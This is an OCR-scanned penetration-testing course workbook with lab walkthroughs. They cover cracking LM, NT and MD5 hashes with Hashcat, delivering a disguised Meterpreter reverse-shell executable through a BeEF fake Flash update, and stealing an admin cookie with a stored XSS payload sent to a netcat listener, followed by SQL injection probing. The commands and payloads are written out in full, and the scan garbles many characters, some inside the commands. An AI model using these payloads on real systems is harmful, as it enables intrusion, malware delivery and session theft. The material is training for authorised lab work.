af83dbf0052eed 71 VIRGINT
09eeabbaadl15déed | NEWPASS




When plaintext passwords are revealed they will be displayed on the screen, Continue with the next section while
Hashcat is running.

Hashcat Running

While Hashcat is running it will give you an overall status of cracking,

1. In the above capture the maximum length of passwords it can crack is seven characters. This makes perfect
sense as LM password hashes are only two, seven-character strings.

2. Itis also displaying the current cracking status. In the above screen capture it has cracked a few passwords
such as a blank password, INTERNE, A, VIRGINI and NEWPASS. Remember, once again, the password hashes
we are cracking are LM hashes, they will not be over seven characters and they will be uppercase,

3. Hnally, Hashcat will give you some options while it is running. It will offer to show status, by pressing the
" " key. It can pause with " p It can provide a checkpoint with * ¢ i"and you can kill the current
cfa'c'king session with " q ", Please note, you da not have to do anything, it will just keep on cracking in the

background. '

Cracking NT Hashes with Hasheat

Now, let's crack some NT password hashes, Run the same Hashcat command again, this time changing the | -
m . argument to indicate mode 7000 to target the NT hashes, as shown:
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C:\Tools\hascat-4.1.0*hashcatéd.exe ~a 0 -m 1000 ~x rules\Incisive-
lesetspeak ., rule sam,txt password.lst
hashcat (v4.1.0} starting...

OpenClL Platform #1: Intel(R) Corporation

* Device #1: Intel{R} Core{TM) 17-7700HQ CPU @ 2,80GHz, 511/2047 MB allocatable, 1MCU

Hashes: 10 digests; 10 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, Ox0000ffff mask, 262144 bytes, 5/13 rotates
Rules:; 15487

Epplicable optimizers:
* Zero-Byte

* Early-3kip

* Not-Salted

* Not-Iterated

* Single-Salt

e * Raw-Hash

Minimum password length supported by kernel: 0O
Maximum password length supported by kernel: 256

ATTENTION! Pure f{unoptimized) OpenClL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of

drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -0 to your commandline.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Tempéiaturé'abort'triggef'diéébied. ' ' '

" : Dictionary cache hit:

* Filename..: password,lst
, * Passwords.: 3557
* Bytes.....: 29772

* Keyspace,,: 55087259

! at5c¢3dat63fdbéca?2ecl72b13169d62a5:virginia
18da6c2895¢549e266745951d5debech i newpass

This password crack may take several minutes to complete.

Notice the difference in the output? NT password hashes preserve the password case sensitivity. Also, the max
tength is much longer for NT password hashes.




Hashceat Cracking MD5 Hashes

Now, let's crack some MDS password hashes. Repeat the last command again, this time specifying the mode 0
{ -m 0 )for MD5 password hashes, and the hash file | mds.txt :, as shown here;
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C:\>hashcatfd.exe ~a 0 -m 0 -r rules\Incisive-leetspeak.ruls md5.txt
password. lst
hashcat (v4.1.0) starting..

OpenCl. Platform #1: Intel({R) Corporation

* pevice #1: Intel (R} Core(TM) i7-7700HQ CPU & 2.80GHz, 511/2047 MB allocatable, 1MCU

Hashes: 10 digests; 10 unlgue digests, 1 unigue salts
Bitmaps: 16 bits, 65536 entries, OxO0COCLEff mask, 262144 bytes, 5/13 rotates
Rules: 15487

Applicable optimizers:
* Zero-Byte

* Early-3kip

* Not-Balted

* Not-Iterated

* Single-Salt

* Raw-Hash

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.

This enables cracking passwords and salts > length 32 but for the price of
drastically reduced performance.

if you want to switch to optimized OpenCL kernels, append -0 to your commandline.

Watchdog: Hardware monitoring interface not found on your system.

Watchdog: Temperature abort trigger disabled.

Dictionary cache hit:

* Fllename..: password,lst
* Passwords.: 3557
* Bytes.....: 29772

* Keyspace,.: b5087259

el0adc3949bas0abbeb6e057f20f8830: 123456
d8578edfB458ce06fbeSbb76ab8c5cad i gwerty
0d107d09f5bbed0cade3debc?le9e9b7: letmein
c33367701511b4f6020ectlded352059:654321
4297f44p13955235245b2497399d7a%3, 123123
5fddcc3b5aa?65d61d8327deb882cf99 password
e99alB8c428chb38d5£2608536785822e03 1 abel23
21232f297a57a5a7438%4ale4a801fc3: admin

By simply changing the format from 30900 (M) to _'b {MD35) we are now cracking MD5 password hashes.
MDS5 is very commaon for web servers and vorious databases.




Hashcat: Going Further

There are many, many options for Hashcat. Run Hashcat with the | -n i argument to get the built-in help
documentation. Examine the list of password hashes that Hashcat supports for cracking,

Let's take a look at the built-in help:

C:\Tools\hashcat-4.1.0> hashcaté4.exe -h
hashcat - advanced password recovery

Usage: hashcat [options]... hash|hashfile|hccapxfile fdicticnary|mask|directory]...
; - | Opticns } -
% Options Short / Long i Type | Description
§ | Example

-m, —-—hash-types | Num | Hash-type, see references below

| -m 1000

-a, ——attack-mode | Num | Attack-mode, see references below

I -a 3

As you can see, Hashcat has the ability to crack a wide variety of password representation formats. Odds are, if
you have a hash, Hashcat can crack it.

Why This Lab Is Important

All'too often defenders greatly overestimate the level of effort required to break passwords using the
techniques we discussed in this module, Please be aware that researchers cracked a 16-character password... in
an hour {hitp/Awww. dailymail.co.uk/scencetech/article-233 1 984/ Think-strong-password-Hackers-crack-16-character-passwords.

hour.html) . Note: This was done in 2013! Computing power has gone up dramatically since then.

Bonus (If Time Permits or Homework)

Research topics related to this lab. Here are some areas of further study:
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s This article from €50 Online an reverse password cracking

(https./fwww.csoonline.com/article/2641 462 securityfpassword-cracking-in-reverse.himnh)

o correct horse hattery stapie (htepsi/xked.comigas/)

«  Using geolocation to create better wordlists thitpsi/iwww.youtube com/watchiv=-ZNNA7Z0/GM)

Additional Resources

SANS SECS60: Network Penetration Testing and Ethical Hacking (hitpsyhwww sans,org/sec360/)

SANS SEC505: Securing Windows and PowerShelt Automation (hitps://fwww.sans org/sec305/)

Hashcat Website (httpsi/rhasheatnet/hashcat/)

- Dl
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Brief Intro

BeEF, the Browser Exploitation Framework, is a great tool for attacking a victim's browser, and can be used to
conduct client-side social engineering attacks that are very difficult for almost any user to detect.

Requirements for This Lab

In this lab you will use both your Siingshot Linux VM, and the Windows 10 VM. Make sure both VMs are running
before continuing with the lab exercise.

Try It Yourself

Deploy a Metasploit payload using MSFVerom and deliver it to your Windows VM via a social engineering
attack. '

Walkthrough

Overview

Attacker

Bot Control Node — port 4444
! & ! Fake Update Server — port 8000

Bot Commander System— port 3000

Copyright © 2019, Joshua Wright and Mike Murr, All Rights Raserved 18z



In this lab exercise you wilt use your Windows VM as the victim, and the Slingshot Linux system as the attacker.
The attacking system will start a bot controf nede listening on TCP port 4444, and a fake software update server
listening on TCP port 8000. To gain remote access to the victim, the attacking platform will leverage a bot
commander system for BeEF listening on TCP port 3000.

Verify Connectivity

1 On the Linux VM, test connectivity to the Windows VM using the ' 'p'iﬁg * utility:

sec5048slingshot:~$ ping -~ 3 10.10.0.1

PING 10.10.0.1 (10.10.0.1) 56(84) bytes of data.

64 bytes from 10.10.0.1: icmp seg=1 ttl=128 time=0.87Z ms
64 bytes from 10.10.0.1: icmp_seg=2 ttl=128 time=1.14 ms

64 bytes from 10,10.0.1: icmp seg=3 tt1=128 time=1.40 ms

. -—= 10.10.0.1 ping statistics ---
} b : 3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 0.872/1.141/1.404/0.218 ms

Repeat this step, this time testing the cannectivity from the Windows VM to the Linux VM;

C:\Users\Secs04> ping 10.10.75.1

| ‘51 ; Pinging 10.10.75.1 with 32 bytes of data:

s : Reply from 10.10.75.1: bytes=32 time<lms TTL=64
; Reply from 10.10.75.1: bytes=3Z time=lms TTL=64
: Reply from 10.10.75.1: bytes=32 time<lms TTL=64

K Reply from 10.10.75.1: bytes=32 time=lms TTL=54

Ping statistics for 10.10.75.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss},
Approximate round trip times in milli-secconds:

[+ ! Minimum = (ms, Maximum = lms, Average = Oms

If you are unable to get a response from the Windows VM or the Linux VM, take a look at the Testing Virtual
Machine Connectivity (WM-Connacivity-Test.himh module for troubleshooting steps.

1 Creating and Hosting the Malware




We will use Metasploit to create a Meterpreter payload in the form of a Windows executable. We will then use
Python to create a simple web server that hosts the malicious executable payload file on our Linux machine, We
will then use a browser on Windows to access the Linux web server, retrieving and executing the Meterpreter
payload.

From the Slingshot Linux VM, open a terminal. Access a root shell, as shown:

sec504@slingshot:~5 sudo su ~
[sudo] password for sechld: mea’04
root@slingshot:~#

back to. Using the LHOST and

port 4444, as shown Save the payload with the benlgn name FlashUpdate exe ; inthe /tmp ! directory,

Note: All of these commands are o single line, Depending on your browser settings, it may wrap as multiple fines.
Simply select all the bolded text for a command to copy and paste as a single entry.}

root@slingshot:~%¥ mefvenom ~a x86 ~-platform Windows g
windows/meterpretax/reverse_tcp lhest=10.10.75.1 lpozt=4444

~f exe -c /tmp/FlashUpdate.exe

fatal: Not a git repository {or any of the parent directories): .git
No encoder or badchars specified, outputting raw payload

Payload size: 333 bytes

Saved as: /tmp/FlashUpdate.exe

Next, change to the = /tmp ' directory and check for the presence of the  FlashUpdate.exe | file:

root@slingshot:~# ed /tmp
root@slingshot:/tmp# ls -1 FlashUpdate.exe
~rw-r--r-- 1 root root 73802 Dec 26 21:39 FlashUpdate, exe
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root@slingshot:/tmp# python =-m SimpleHTTPSexver BO00 &
[1] 2219
i : root@slingshot:/tmp# Serving HTTP on 0.0.0.0 port 8000

In this example, 2219 indicates the process 1D of the  python | job running in the background. This will likely be

a different number on your system.

e Start the Metasploit Handler

sec504@slingshot:~§ sudo su ~
[sudo] password for sec504: sec504
roct@slingshot:~# msfconsule =g
fatal: Not. a git repository {(or any of the parent directories): .git
maf > uso sxploit/muliti/bandler
msf exploit(handler) > set PAYLOBRD windows/meterpreter/z:averse__tcp
DAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.10.75.1
5 LHOST => 10.10.75.1
R : msf exploit(handler) > expleit
: [*] Started reverse TCP handler on 10.10.75.1:4444
[ : [*] Starting the payload handler...

Start BeElD

o Open another terminal window. Access a root shell, as shown:




sech04@slingshot:~$ sudo su -
[sudo] password for sec504: sechid

root@slingshot: ~#

Note: This must be done in o new terminal, Otherwise the lab will not work.

Next, change to the BeEF directory, as shown;

roct@slingshot:~# ed fopt/beef/
rootéslingshot: /opt/beefi

root@slingshot: /opt/beef# ./beef
0:49:48]1[*] Bind socket [imapeudoral] listening on [0.0.0.0:2000].

:49:5111!] Warning: Default username and password in use!

149:511 [*] RESTful RPI key: 6da4516e3cB8c7a014587510b0d238ad5h707406ae
149:511[*] HTTP Proxy: http://127.0.0.1:6789

149:51]1[*] BeEF server started {press control+c to stop)

[

[ 0:49:48] [*] Browser Exploitation Framewoerk (BeEF) 0.4.7.0-alpha
[ 0:49:48] | Twit: @beefproject

[ 0:49:48] | Site: http://beafproject.com

[ 0:49:48] | Bleg: http://blog.beefpreoject.com

[ 0:4%:48] |_ wWiki: https://github.com/beefproject/beef/wiki
[ 0:49:483[*] Project Creator: Wade Blcorn (@WadelAlcorn)
[ 0:49:48][*] BeEF is loading. Walt a few seconds...

[ 0:49:51][*] 12 extensions enabled.

[ 0:49:511([*] 293 modules enabled.

[ 0:49:51}{*] 2 network interfaces were detected.

[ 0:49:51][+] running on network interface: 127.0.0.1

[ D:49:51] | Hook URL: http://127.0.0.1:3000/hook.is
[ 0:49:51] |_ UI URL: http://127.0.0.1:3000/ui/panel

[ 0:49:51][+] running on network interface: 10.10.75.%

[ 0:49:51) | Hook URL: http://10.10.75.1:3000/hook.qs
[ 0:45:51] |_ UI URL: http://10.,10.75.1:3000/ui/panel
[ O

[0

[ O

[ O
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Remember that to run o command from the current directory it is necessary to prefix the name af the command

you wish to run with : ./ | {as in this step, - . /beef °).

‘ With the attacker configuration completed, you will complete several steps as the victim using your Windows
VM.

Browse from the Windows VM (Victim)

N Next, go back to your Windows system and surf to the follewing URL:
htep:/710.10.75,1:3000/demos/butcher/index hitmi (hiep://10.10,75.1:3000/demos/butcher/index htmi)

Once here you will see a page selling... beef, This page represents the way a compromised site would act. While
Lo it is not user apparent, this page is making calls back to the attacker BeEF server running on your slingshot VM
B at a routine interval. We are now going to go back to our 504 Slingshot VM and send malicious commands to
this browser.

I,‘J {3 TheButcher

Welcome io The Butcher, your source of dellcious
meats. Please feel free to view our samples, sign up
1o our mailing-list or purchase our speclal BeEF-
hamper!

Tiaik bt BeBF mager

Return to the Linux VM (Attacker)

Return to the Slingshot Linux VM. Open the browser and visit the following URL: hitp:/fiocaihost:3000/ul/pane]
(htipi/locathost3000/ul/panel)

i: This is the control panel for BeEF. This will allow us to controf the victim browser into downloading our
malicious file.




The | user 1D /5 beef :

The | passwoerd Is . beer !

Note: If the jogin does not work, go to the terminal window where you launched BeEF server. Kill BeEF by
pressing CTRL+C. Close the terminal window. Open a new terminal window. Access the root account again
and be sure to include the * - | at the end of the = sudo su - - comymand.

You should see © 10, 10.75.1 on the far-laft panei. Please select that IP address. it is the IP address of the
victim Windows system.

BEF Contrad Panel - Moritla Fieefos - 8 x

omedBenes

| &<0fine Browsers

- ! Hrowse Name: Chmms
4 Zrizrani :

! Browse Verslon. 58

&0 rooa

Brawest U String: sooka's§ (WAndows KT 10,0, Wines, 1) ARSI elKE/SIT26 (KHTRIL, lic2 Geoks) Croome/ie,0.3020,9) Sali537.36  iilalizavon

Browsct Languags: e-us tnivahizarion
Browset Pltfornt Wedz heilalizarion
.Bmwiﬂ Plugins; \VﬂEﬂ‘f{hE Coplent i: roma POF Vizwer, Shack Fash - ’ s |pRiabizator ’
= Wihiow Sizet Wlﬁ.h lllﬁﬁ..ﬂﬁtﬂh{.ﬂ}l‘r L. ) Jx.!'ﬂ\ﬂi.lalm. .
453 Gaingeay: Broveser Qamponsn 2 Heme)
Flash: Initakzmuea
vaseriph No InicaGzalin
PBhaneOap: Mo inibatzahor
Gragie Bewra. fis ’ ' ’ ’ ihgigatn
: Weh sackels: vea miizazen
 wob wakers: ves witiaieasion
: WebGL Yes Irevaizacon
: QuickTim Ha Irciaizacon
. RealPlayer Mo Irdtiakzalion
 Windavrs Media Pisyer; No Ivakzagen
‘WobRiC: ves o ’ Infiabzecan
" Idiskznicn

. dosked B (B ks

In the list of tabs near the middle of the BeEF Control Panel view, click the Commands tab.

Next, expand the Secial Engineering group from the middle panel. This is the collection of SE attacks that BeEF
supports. (After this lab, please feel free to play around with the different modules. Note, they will not all wark
with all browsers. Some attacks are very specific to versions and builds of browsers.)

Once Social Engineering is open, select Fake Flash Update. This is the attack we will be using.
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e2F Control Panizt - Mozilla Firsfox . - X

; BaF Canvel

il

localhost X

; Fadied Browsers
& 30N Browsers
45541010751

- : el > S
SR A1 )@@‘i&‘mmm e
i AZFOfine Broasers =
i Descripdon. Prompls
A3 it
_ i# D o ;nn;ﬂ&
: 0 o Adabe
i : Flash
i | Ployer.
defiveeed
payioad
oould be
T : A cUSIom
\ | Mise {15) : fle,a
| !
I e £21) mﬂ
Perssience (2) R ar any
: )
Phoregap (15} speclic
Socil Engriesring (24}
1 N The
! : - Text o Voice e e
' 5 Clickgacking ; secr
e G e
@ clioy estension &
L ipFake Evemote Web Clpeer Logi . ds sk
1 ) s Faie Flash Uptate EERES: F’m‘:”:‘;ﬂ«‘lzr:;w.'
oot =" pake LISPRSS ez f
B s Fake Mollfization Bar : 25, 114,
: & Fate Hatfication Bar (Cheome) :
4 Fake Nodfieallon Bar (Firaix)
3 Fate Notification Bar {IE)
i Googe Phishig
5 beambd Daanitad
& Pretry Tneft
% Replace Videos (Fake Piugn)
4 Simparijacker
& Spood Address Bar (data URL) i
4 Tapapblng | it

Configure and Launch the Attack

we will need to make two changes to the options which will appear in the far-right panel.

Please make your options match the options below.

s Image! http://10.10.75.1:3000/adobe/flash update.png

s Custom Payload UR!: r'{t't'p-;//10.10.75.1:8000/%1 hupdate.exe

We are simply telfing BeEF where to get the image and where to pull the malware for the user to download.

When done, please select the . Execute | button in the lower right.




Desprigtion:

I

ber Flnshbipdte o

Brompts the user o install an update o Adobe Flash Player,
The defivered paytead cauld be & custam 1e, abroveser extension or amy specific URL

The provicied BeEF Firefox extension tisables PortBanning {ports 20, 21, 22, 25, 110, 143), enables Java, bverfides the UserAgens and the defalit homekiew tah pages.
Seefextensinsipecfies/Link Yargetrinder direciory for the Eirefox extension scurce code.

The Chrome extsnsion dekivery works on Chiene <= 20, Fram Chitme 21 things changed in terms af how extensions can be loaded
See Iﬁxlensix}sfa’emcsiﬂmmupdm‘a,_chrome__ex:ensznm’iestsun for more [nfee and a saimiple extension that woeks on latest Chrome.

182

Esmage

HUp#10.10.75. 1:3000/dobartlasn_vptategng |

Payload!

Cuslom_Payl

F[fcusiom
j{Payload UL

H hﬂp::‘r[ﬂ.lu.?5.1:30001Flashunda1e.exe[

Click this when the above >

boxes-are filled-out--

Return to the Windows VM (Victim)

Now, let's go back to the Windows machine for the role of the victim.

After a few moments, you should see the fake Flash update box. Please note, this will not fire Immediately. The
page is on a refresh, and the attacks are not instantaneous.

When you see the box, please select INSTALL.
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Run the Update

Once you select INSTALL, you will get an option to download and run a
FlashUpdate (with a possible number behind it.)

" exe  file. It will be named

Please select the Keep option, then open the file by selecting it at the bottom of the browser.

This type of file can harm yaur cnmpmﬁgﬂ\)

Keep H Diseard i

yau want to-keep FlashUpdate exe anyway .-

s __,_.,,N(. )
f\- 2 ) {8 FlashUpdate.exe .

Started reverse TCP handler on 10.10.75.1:4444

Starting the payload handler...
(857999 bytes) to 10.10.0.1

[*]
(*1
[*}
[
01:24:36 +0000

meterpreter >

Sending stage

Meterpreter session 1 opened {10.10,75.1:4444 -> 10.10.0.1:1928) at 2018-12-19°

You may get a Ruby warning. This is OK as the backdoor has been instailed.

Conclusion

This lab showed just how easy it is to create a website with malware embedded in it, ft also highlights the need

for user awareness training and sclid application whitelisting.

Also,weuseda .exe

export a _exe  file to a wide variety of other different file formats.

because it is an easy example and based an what we learned in book 3 we can easily




Why This Lab Is Important

If you train users to do specific tasks, such as updating software... attackers will use your training against you.
To protect against this attack, you must teach users to only do updates on trusted networks, with appropriate
network-based controls.

Bonus (If Time Permits or Homework)

Try some of the other BeEF modules. Play audio back to the victim system, see if you can cause Clippy to show
up! (Hint: He's also in the Social Engineering section of the BeEF control panel.)

Additional Resources

Read the project page for BeEF ihupsi//beefproject.comd . There are many great ideas on how to use - and detect -
this tocl.
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Brief Intro

In this lab we're going to execute a XSS and a SQL injection attack. If this is your first time attempting these
sorts of attacks, do not worry. You can simply copy and paste from this wiki. Or if you'd like, you can use the
help.txt file located in your Linux VM.

Requirements for This Lab

In this lab you will use your Slingshot Linux VM. Make sure the VM is running before continuing with the lab
exercise,

Try It Yourself

Leverage the X$$ vulnerability in the comments section to steal an admin's session! Attack the "contact us" page
with a SQL injection attack.

Walkthrough — X88&

Open a Terminal

From the Slingshot Linux VM, open a terminal.

Siart the Server

Start the server components needed for this lab exercise, First, change to the
/home/sac504/CourseFiles/weblab  directory from your terminal, as shown here:

po)
g

Copyright © 2019, Joshua Wroght and 3




secb04@slingshot:~$ cd /home/sech04/CourseFiles/weblab/
sech048slingshot: ~/CourseFiles/wehlabs

Next, start the lab server components by running the é_._.st;_art.rs;ﬁ © script, as shown here. When prompted,
enter the password sec504;

secb040stingshot:~/CourseFiles/weblab$ ./start.sh
[sude] password for sec504: sec504

Success! Continue with the lab exercise.

Remermber that to run a command from the current directory, the command must be prefixed with . ./ .

With the server running, you are ready to start evaluating the target website.

Open Browser

Next, open the Firefox browser. Minimize the root access terminal window to see the Slingshot desktop.
Double-click on the Firefox icon to launch Firefox.

Navigate to the Rook Aviary Site

From Firefox, navigate to the http:#/127.0.0.1:8080 thepy//127.0.0.1:2080) site to access the target site, Rook Aviary
Services,
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Raok Aviary Somvices, where we bring high tech bird solulions (o your erdinary human problems, We're nol your average
vandor wying to Hawk aur wares at you, We align our solutions ta the Cardiral direcions of awesomitide. Fram iPoAL for
extremely large bandwidth ransfers (o avian powered drone defense systems, we've got you coverad, Once you experience
our bespake soiutions, you'li be Crowing about us to anyone who will jistent

Examine Website Functions

The first step in any web app assessment is to become familiar with the services offered by the website,

Spend a minute becoming familiar with the website functionality. identify the pages associated with the

following functions:

* Feedback Submission

+ Feedback Review

o Directory Services

s System Connectivity Checker

+  Website Search Function

s Website Administrative Access Page

Submit a Search Inguiry

First we'll examine the Search page submission feature. Navigate to the Search page by clicking the Search link

in the website menu options. You will see the Search form field as shown here.

408
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/ Rouk Aviary Services ;

Home Leave Feedback View Feedhack Birectory Connecltivity Chetker Search Admin

ROOK AVIARY SERVICES

Search:

DBt

Enter a simple search term, such as the string contact, then click the Submit button. You will see the search
response No results for contact as shown here,

[ ook Aviary Servicas %

o o 10 Searen B ¢ R BB

0 | 127,00, L8083 mbn ¢

Home teave Feedback View Feedback Directory Connectivity Checker Search Admin

ROOK AVIARY SERVICES

No results for contact

Search:|

o

¢ Submi |

At first glance this may seem inconsequential: there are no results returned for the submitted search term
(contact). However, what is interesting is that the website search page returns the string we searched for as part
of the search results (No results for contact).
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Any time the server returns contact that includes part of the search term, it should be evaluated for an XS5
vulnerability.

Submit a Crafted Search Inquiry

Enter another search term, this time using the string - <hr> -, as shown here:

<hr> | is the HTML tag for horizontal rule.

Searoh:| <hr>

Click the Submit button to submit this search term. Examine the return results, as shown here:

2019 Joshus Wright and

3




 Rook Aviary Servicas LI

1127.0.01 BaSAadep 'c-,,‘;ea\'c‘re.;&f\,pa:fr;: che oo 9t

Home Leave Feedback View Feedback Directary Connectivity Checker Search Admin

ROOK AVIARY SERVICES

No results for

Search:é

Notice how the search response no longer indicates what the search term was, stopping shart at Ne results for.

Alsc, you may notice a light gray horizontal line covering the page after this search term.

The light gray line is the | <nr> | search term. Insteod of being filtered by the website, it is rendered in the

browser., This Is evidence of an XSS-vuinerable site.

Examine the Page Source

To confirm that the server is vuinerable to XSS, we should investigate the page source. Right-click on the page

and select View Page Source, as shown here:
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Roolk fviary Services - Mozilla Firefox T2 aox

" Roak Avary Servies .

L T R

Save Pags As.

I Save Page to Pocket

No results for

Vlew Page fnfo

P dnspect Elemant (&)

At line 49 you will see the search page text No results for followed by the : .<i1.]_;..>. - search term. The web
developer who created the page is not filtering the search term output, which causes an XSS vulnerability.
Looking at the scurce we see the actual HTML ~ <hr> - search term, confirming the presence of the
vulnerability on the site,

‘Close the Page Source Tab

Close the browser tab for the view-source URL, but keep your browser open to cantinue with this lab.

Notes on Exploiting the Search X585

So far we've identified an XSS vulnerahility in the Rook Aviary Services Search page. This XSS vulnerability is
known as a reflected XSS, where the site will render content delivered from a crafted URL.

To exploit a reflected XSS, an attacker would make a malicious URL and deliver it to the victim in an email, a text
or app diract message, or through some other social engineering technique. Itis a little more difficult to exploit,
and requires additional steps to make use of the vulnerability.

However, we're nat done with the Rook Aviary Services site yet! Next we'll look at an additional XSS vulnerability
on tha site known as a stored XSS,

Suhmit Feedback




Navigate to the Leave Feedback page by clicking the menu option at the top of the browser window. Enter the

, Hizok Aviary Services ® 5

(e (D] 1270010000 nde ph ..t IETS P

Home teave Feadback View Feedback Diractary Connactivity Checker Search Admin

ROOK AVIARY SERVICES

Click Submit to send the feedback. You will see the response message New record created successfully.

Examine Feedback

The Raok Aviary Services website includes functionality to review feedback submitted as well, Fxamine the
feedback sent to the site by clicking the View Feedback page at the top of the browser.

There isn't much content available on the site for feedback (other than any feedback you submitted previously).
However, you should see the horizontal rule rendered in the browser, as shown here. Like the Search page, the

view Feedback is not filtering output, allowing the attacker to submit arbitrary content, revealing the stored XSS
vulnerability,

The View Feedback page is considered a stored XSS because the content is stored and delivered from the server,
Unlike the reflected XSS vuinerabifity we saw in the Search poge earlier, the attacker doesn’t have to deliver o
malicious URL to the victim. Any user who visits the View Feedback site will render the attacker's content, creating
a devastating attock opportunity.
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Hore:" - Lazve Feedback .- View Feedback . D:rechﬁy’- '

ROOK AVIARY SERVICES

Exploiting ¥S8 — Overview

Now you need to leverage this vulnerability and use it to attack and steal a session cookie. This will require
several steps, summarized here:

» Open a Netcat listener to catch the connection from the victim user
= Craft a malicious-URL
s Submit the malicious URL to the victim

Next we'll complete each of these steps to exploit the victim.

For this lab, the victim is an automated process we have devised for the purposes of iliustrating the technigue for
exploiting an XSS vulnerability. In practice, the victim would be o real user that visits the View Feedback page on
the website.

Exploiting X85 — Prepare Listener

Minimize the Firefox browser and open another terminal window. As a non-root user, starta Netcat listener to
capture the sessicn, as shown here:




sec304@slingshot:~5 ne =-v -n -1 -p 2222
listening on [any] 2222 ...

Here we've started Netcat with the - —v" (verbose), : (don't do name resolution), | (listen, that is a

fowercase L, not a one), and | —p 2222 {port 2222) optfons

The Netcat listener will act as a capture source to collect information from the victim browser.

Exploiting XSS — Enter Malicious URL

Return to your browser. Navigate back to the target website at http://127.0.0.1:8080 (hitp/127.0.0.1:8080) and click
on the Leave Feedback menu option,

In the Comment field, enter the following string:

<script>document. location="http://10.10.75.1:2222/7 +document . cookia;
</script>

This JavaScript content breaks down as the following components:

. <scr1pt> —StartjavaScr;pt tag

. - Change the victim's web browser to navigate to

+d0cument Cookle, i — Append the victim's cookie values to the end of the URL sent to the attacker

!|stener

. </sc 'pf; | — Close JavaScript tag

This script tells any user's browser that views the comments to submit the cookie to 127.0.0.1. Enter this script
exactly as it is here in the notes.

IMPORTANT NOTE: This line you type hos o+ in it just before - document . cookie to concatenate the cookie

value to the end of the URL. Without the - +  the JavaScriptis syhtactr‘caﬂy invalid.
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After double-checking your syntax in the Comment field, click Submit.

If you have trouble typing this attack javaScript correctly, you can copy and paste from the xss. 78 fileinthe

lab directory.

Exploiting XS5 ~ Examine Listener

Next, return to the terminal where your Netcat listener is running. Inspect the content delivered by the victim,
as shown here:

. ; listening on {anyl 2222 ...
connect to [L0.10.75.11 from {UNKNGWN) [10.10.75.1] 59166
: GET /?user=1337 HTTR/1.1
Host: 10,10.75.1:2222
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHIML, like Gecko}
Ubuntlu Chromium/73.0.3683.75 HeadlessChrome/73.0.3683.75 Safari/537.36
Accept:
text/html,application/xhtml+xm1,application/xml;q:o.9,image/webp,imaqe/apng,*/*;q=0.8
Referer: http://127.0.0.1:8080/admin-endpoint.php
Accept-Encoding: gzip, deflate

In the background, we have simulated an administrator user falling for the attack. Normally, it would take longer
for an admin to access the script content you placed on the target site in the stored XSS attack.

If you don't have any output in your Netcot window, return to Exploiting XS5 - Enter Malicious URL
(#exploitingxssmalur] and make sure the attack javaScript is entered correctly, Submit the gttack JavaScript, then

return to this step.

In the output shown the Netcat listener has captured a cookie of 1337. This is shown in the third line of the

output, fellowing the /v line (due to the attack favaScript concatenating ‘document. cookie | t0 /7

This is one example of an XSS attack. Consider for a second what has happened here: We used the XSS to send
arbitrary JavaScript to the victim, telling the victim's browser to make o request to the attacker. In the request, we
added the : document.cookie | value, something that would not otherwise be accessible to the attacker.




Next we'll look at how an attacker would leverage the retrieved cookie content,

Access Admin Page with the Victim Cookie

Next we want to use the victim cookie to gain escalated access on the administrative page on the target site. For
this task we will use the . cur1 | utility, to create a simple HTTP request against a web server,

Return to the Netcat listener and press CTRL+C to close the listening process, Then, launch the curl
command using the | -5 argument to specify the stalen cookie value with the target admin page for the URL,

as shown here:

sec504@slingshot:~$ cuxl -b user=1337 "http://127.0.0,1:8080/index.php?
page=admin.php"

<!DOCTYPE html>

<html lang="en">

<title»Rook Aviary Services</title>

<meta charset="UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="/style.css">

<link rel="stylesheet"” href="/font-awesome.css">

<body>

<l-= Header -->

<header class="w3-container w3-black w3-center™ style="padding: 64px lopx">
<hl class="w3-margin w3-jumbo">ROCK AVIARY SERVICES</hl>

</header>

<!-- First Grid -->
<div class="w3-row-padding w3-padding-64 w3-container"s

<div class="w3-content”>

<h5 class="w3-padding-32":>

<hZ>Welcome, Admin!</h2><br />

The output of the * cur1 © command has been trimmed for space.

inthe output ofthe curl command we see that we have accessed the administration page successfully,
using the stolen cookie contentl
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Examine the output of the curi  command on your system carefully. There is a useful tip for the CtF buried in
there!

In the next session of class, you see how you can implement cookie or session |D modification to a full browser
session by using tools such as ZAP and Burp Suite.

Walkthrough ~ SQL Injection

Investigate the Employee Directory

Now you need to examine a SQL injection vulnerability in this target site.

First, browse to the site at http://127.0.0.1:8080 (http.//127.0.0.1:8080) . Navigate to the Employee Directory by
clicking on the Directory link at the top of the browser.

“Admin

Employee Directory

Use this form ta search our employee datsbase for contact infarmation, We walcome direck tustomar camanunication to our sales and

enginearing teamh.

Ty

Mame: |

Enter a search term such as | aamin : then click Submit, This search will return one search result, as shown

here.




3ty Services %1

L 12700155 Tasarei

Horne Leave Feadback View Feedback Directory Connechvity Checker Search Adrin

ROOK AVIARY SERVICES

Employee Directory

Use this form to Search our employes database for contact information. We welcome direct customer tommunication Lo our sates and g
engineering team,

Name: ]

subtmi |

Mame;: Derek Rook
Emaif: 00k@Eras.tgt

So far we know that the site accepts a search term and returns a result. Next we'll determine if it is also
susceptible to SQL injection.

Test for SQL Injection

Conduct another search, this time entering a single quote character : - as the search term. Click Submit and
inspect the response from the server,
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Employee Directory

Use this form to search our employee database for contact information. We weicome direct customer communication to our sales and

engineening team.

i submit

Error; You have an error it yoor SQL syniax: check the manual that corresponds bo your MySGL server version for the night syntax to
use near %" atfine 1

Here we see an error revealing several pieces of information:

e Thereis a backend database supporting the web application
= The backend database uses SQL

= The database type is MySQL
» The query submitted as part of the employee directory search uses the SQL wildcard character &

“s " QUr search terri of ~ IS likely toncatenated to the SQL syntax, producing ¢+ *;which returns-an error

This error message is indicative of a SQL injection vulnerability. However, SQL infection vulnerabilities can also be
subtle. The absence of an error message does not necessarily mean the system is not viinerable!

Confirming SOL Injection

Now, see if you can confirm that the system is vulnerable to SQL injection by attempting to obtain more records
from the database than the developer may have anticipated,
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{ Rook Avizty Services

